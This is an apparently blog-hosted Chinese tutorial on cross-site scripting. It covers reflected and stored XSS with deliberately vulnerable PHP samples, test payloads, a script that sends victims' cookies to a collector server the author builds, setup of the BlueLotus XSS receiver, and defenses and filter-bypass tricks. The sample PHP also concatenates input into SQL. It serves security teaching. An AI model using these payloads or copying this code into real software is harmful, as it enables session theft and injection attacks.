XSS跨站攻击漏洞

XSS跨站攻击漏洞

一 概述

1 XSS概述

xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。

XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。

XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。

有两种途径

第一种 反射型

直接将js代码附在url中,把url发送给指定的用户。引诱其点击。

第二种 存储型

把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。

2 危害

复制代码
1.页面挂马
2.获取用户的cookie
3.ddos攻击
4.钓鱼攻击
5.篡改数据
6.传播病毒

二 原理

1 反射型

(1)用户输入内容,直接显示在页面

php

复制代码
<?php
    $content = $_GET["content"];
    echo "$content"
?>

payload

复制代码
192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>

(2)将用户输入的内容,回显在标签对中

php

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <div>
        <?php
            $content = $_GET["content"];
            echo "$content"
        ?>
    </div>
</body>
</html>

payload

复制代码
192.172.10.41/week3/demo1.php?content=hello

(3) 将用户的输入回显在标签属性中

php

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <div>
        <?php
            $content = $_GET["content"];
        ?>
        <input type="text" value="<?=$content;?>">
    </div>
</body>
</html>

payload

复制代码
闭合标签,添加script标签
192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!--
添加事件
192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1)
嵌入网页
192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!--
添加页面元素
192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--

XSS常用测试语句

复制代码
<script>alert(1)</script>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<input οnfοcus=write(1) autofocus>

2 存储型

将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。

php-add

复制代码
<?php
    include "utils/dbUtil.php";
​
    //1.接收用户输入
    $content = $_GET['content'];
    //2.sql
    $sql = "insert into week3_test values(default,'$content')";
    //3.执行sql
    $res = executeSql($sql);
    //判断结果
    if($res){
        echo "success";
    }else{
        echo "error";
    }
?>
复制代码
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>

php-findById

复制代码
<?php
    include "utils/dbUtil.php";
​
    //1.接收用户输入
    $id = $_GET['id'];
    //2.sql
    $sql = "select * from week3_test where id=$id";
    //3.执行sql
    $res = queryOne($sql);
    //判断结果
    if($res){
        print_r($res);
    }else{
        echo "error";
    }
?>
复制代码
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4

三 XSS获取Cookie

1 发送cookie

php

复制代码
<?php
    session_start();
    $content = $_GET["content"];
    echo $content;
?>

注入代码

复制代码
PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26
语法
    获取浏览器cookie值 document.cookie
    发送请求 <script>location.href=url</script>
    <script>location.href="http://ip.php?cookie="%2bocument.cookie</script>
    <script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>

2 准备C2服务器

搭建phpstudy环境
  • 安装phpstudy
  • 打开软件,启动Apache和MySQL服务。
  • 点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。
  • 我们在这个文件里面创建一个简单的php文件。
开发xss服务器端

复制代码
CREATE TABLE `getcookie`  (
  `id` int(0) NOT NULL AUTO_INCREMENT,
  `url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
  `cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
  `createtime` timestamp(0) NULL DEFAULT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;

php

复制代码
<?php
    $url = $_GET['url'];
    $cookie = $_GET['cookie'];
    
    //1.连接数据库 参数说明: ip 账号 密码 数据库
    $conn = mysqli_connect("127.0.0.1",'root','root','part3'); 
    //2.设置编码格式utf-8
    mysqli_query($conn,"set names utf8");
    //3.sql
    $sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";
    //4.执行sql
    $res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>

3 开始注入获取cookie

复制代码
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>

四 BlueLotusXSS平台使用

一、安装

下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具

1 上传BlueLotus_XSSReceiver-master.zip到xampp

复制代码
把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压
解压 unzip BlueLotus_XSSReceiver-master.zip

2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php

按照提示将config-sample.php改名为config.php 不要点安装

3 配置目录权限

复制代码
执行命令:chmod o+w data myjs template

4 登录

复制代码
登录地址  http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码  bluelotus

5 进入首页

二、定制XSS代码

1 生成payload

生成Payload后,直接将其代码复制到XSS页面中即可

2 在页面上注入代码

复制代码
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

接收到数据

https://github.com/sqlsec/BlueLotus_XSSReceiver

五 XSS的防御和绕过

1 防御

(1) 前端校验 针对用户输入框进行js校验。

(2)通过函数对用户输入内容中的特殊符号进行转码.

复制代码
htmpspcialchars(字符串,ENT_QUOTES);  ENT_QUOTES表示对单引号进行转码

(3)通过字符串替换:替换规则需要考虑各种覆盖。

复制代码
str_replace()

2 绕过

(1)针对前端校验

复制代码
在浏览器上禁用js
通过工具或者协议绕过前端。

(2)函数替换

复制代码
1 可以使用实体转码
	&#x6A 
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过

六 XSS靶场实战

相关推荐
独行soc8 小时前
#渗透测试#SRC漏洞挖掘#深入挖掘XSS漏洞02之测试流程
web安全·面试·渗透测试·xss·漏洞挖掘·1024程序员节
morris13118 小时前
【SpringBoot】Xss的常见攻击方式与防御手段
java·spring boot·xss·csp
假客套3 天前
【dvwa靶场:XSS系列】XSS (Reflected)低-中-高级别,通关啦
网络安全·xss·dvwa靶场·dvwa xss靶场·web渗透、
假客套3 天前
【dvwa靶场:XSS系列】XSS (DOM) 低-中-高级别,通关啦
网络安全·xss·web渗透·dvwa靶场·dvwa xss靶场
阿宝分享技术3 天前
从xss到任意文件读取
前端·xss
儋州小丑,原号没了,靠北3 天前
XSS-libs
前端·xss
Yue1one5 天前
Xss_less靶场攻略(1-18)
网络安全·xss
残月只会敲键盘6 天前
ctfshow--xss靶场web327-web333(一命速通不了的靶场)
前端·web3·xss
小野猪都有白菜拱8 天前
XSS小游戏【1-13关】
xss
掌控安全EDU9 天前
安全研究 | 不同编程语言中 IP 地址分类的不一致性
网络协议·tcp/ip·安全·xss